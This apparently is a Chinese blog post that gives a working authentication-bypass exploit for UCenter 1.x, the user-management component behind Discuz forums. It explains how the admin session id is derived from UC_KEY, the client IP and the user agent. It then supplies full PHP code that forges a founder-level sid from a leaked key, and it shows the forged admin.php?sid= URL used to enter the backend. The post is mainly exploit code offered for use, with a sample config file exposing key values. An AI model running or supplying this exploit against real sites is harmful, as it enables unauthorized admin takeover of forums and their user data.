ucenter 1.x adminlogin bypass (uckey->sid)

很多时候通过一些方法得到了ucenter的uckey以后都不知道怎么利用(ucenter的配置文件在/data/config.inc.php), 因为ucenter的uckey并不像康盛的其他产品可以通过更新配置文件来插入一句话,那么接下来就说下拿到了ucenter的uckey以后怎么直接杀入后台!
首先假设一种情况, 你扫到了他的bak文件, config.inc.php.bak, 可以看到ucenter的配置文件是如下格式的
[php]
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', '****');
define('UC_DBPW', '********');
define('UC_DBNAME', 'ultrax');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', 'pre_ucenter_');
define('UC_COOKIEPATH', '/');
define('UC_COOKIEDOMAIN', '');
define('UC_DBCONNECT', 0);
define('UC_CHARSET', 'utf-8');
define('UC_FOUNDERPW', '9eeb9e61111254e3f94988e49ec186a9');
define('UC_FOUNDERSALT', 'N1Pede');
define('UC_KEY', '683T0n5a624o9e7hdr9y9Me27A6z3NecdUel728q2l7b58dD3a3I4oa07xeN3e3a');
define('UC_SITEID', 'U1seBeQ7t280z7F1m8j0g0S1vfu3k7W2t1Mf3dyaE7i0Je78Gct707SbG0J7VdH6');
define('UC_MYKEY', 'l1pejeQ7m2Q0Y781G80080C10fW3d722c1bfJduai7j0yeM8Dct7N7kbf0e7Bdb6');
define('UC_DEBUG', false);
define('UC_PPP', 20);
[/php]
这句就是uckey了
[php]
define('UC_KEY', '683T0n5a624o9e7hdr9y9Me27A6z3NecdUel728q2l7b58dD3a3I4oa07xeN3e3a');
[/php]
ucenter自身的uckey似乎在整个程序里面没有起到什么实质性的作用, 但是显然这是不可能的,
ucenter自身的uckey实际上是针对ucenter后台登录过程来使用的, 通过这个uckey可以直接算出一串登录字符串, 从而实现不需要帐号密码直接登录ucneter后台, 先来看看ucenter的后台验证代码
[php]
// ucenter_dir/model/admin.php

function check_priv() {
$username = $this->sid_decode($this->view->sid);
if(empty($username)) {
header('Location: '.UC_API.'/admin.php?m=user&a=login&iframe='.getgpc('iframe', 'G').($this->cookie_status ? '' : '&sid='.$this->view->sid));
exit;
} else {
$this->user['isfounder'] = $username == 'UCenterAdministrator' ? 1 : 0;
if(!$this->user['isfounder']) {
$admin = $this->db->fetch_first("SELECT a.*, m.* FROM ".UC_DBTABLEPRE."admins a LEFT JOIN ".UC_DBTABLEPRE."members m USING(uid) WHERE a.username='$username'");
if(empty($admin)) {
header('Location: '.UC_API.'/admin.php?m=user&a=login&iframe='.getgpc('iframe', 'G').($this->cookie_status ? '' : '&sid='.$this->view->sid));
exit;
} else {
$this->user = $admin;
$this->user['username'] = $username;
$this->user['admin'] = 1;
$this->view->sid = $this->sid_encode($username);
$this->setcookie('sid', $this->view->sid, 86400);
}
} else {
$this->user['username'] = 'UCenterAdministrator';
$this->user['admin'] = 1;
$this->view->sid = $this->sid_encode($this->user['username']);
$this->setcookie('sid', $this->view->sid, 86400);
}
$this->view->assign('user', $this->user);
}
[/php]
ucenter的验证函数check_priv起到的作用就是验证当前你是否已经登录, 而他的验证基础并非是帐号密码, 先看第一句
[php]
$username = $this->sid_decode($this->view->sid);
[/php]
通过sid_decode函数来解析传进去的sid值, 这个函数是这样的
[php]
// ucenter_dir/model/admin.php
function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;
}
@list($username, $check) = explode("\t", $s);
if($check == substr(md5($ip.$agent), 0, 8)) {
return $username;
} else {
return FALSE;
}
}
[/php]
可以看到ucenter在这里的验证基础, 并非是帐号密码, 而是通过uckey加上你的ua和ip等一些信息来进行加密, 而ua信息和ip都是可以伪造的也就是可控的, 所以你只要得到了uckey通过算法计算出正确的sid即可直接登录!
不废话了直接贴exp:
[php]
$uckey = '683T0n5a624o9e7hdr9y9Me27A6z3NecdUel728q2l7b58dD3a3I4oa07xeN3e3a';
//这里替换成你得到的uckey
$username = 'UCenterAdministrator';
$agent = $_SERVER['HTTP_USER_AGENT'];
$cip = getenv('HTTP_CLIENT_IP');
$xip = getenv('HTTP_X_FORWARDED_FOR');
$rip = getenv('REMOTE_ADDR');
$srip = $_SERVER['REMOTE_ADDR'];
if($cip && strcasecmp($cip, 'unknown')) {
$ip = $cip;
} elseif($xip && strcasecmp($xip, 'unknown')) {
$ip = $xip;
} elseif($rip && strcasecmp($rip, 'unknown')) {
$ip = $rip;
} elseif($srip && strcasecmp($srip, 'unknown')) {
$ip = $srip;
}
$ip = '213.1.1.1'; //这个ip替换成你当前的ip , 可以通过ip138查询
$authkey = md5($ip.$agent.$uckey);
$check = substr(md5($ip.$agent), 0, 8);
echo rawurlencode(_authcode("$username\t$check", 'ENCODE', $authkey, 1800));
/*
* 康盛加解密函数
*/
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE'){
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)){
return substr($result, 26);
}else{
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
[/php]
保存成任意php文件通过网页访问即可返回出sid值, 这个时候用得到的sid值直接放到admin.php?sid=xxxxxxxxx里面即可直接进入后台, 我本地演示下
uc
然后运行一下
uc2
这一串就是得出的sid值, 直接访问admin.php?sid=321cGMQBc6iB9kC24jBzFeLGwMrJURbVQjJk6qmnO3iAxNHOqwfLoX54Bh8Qrj0SFl4dGeiFQHT6Fg即可直接秒进后台了~~~
uc3

发表评论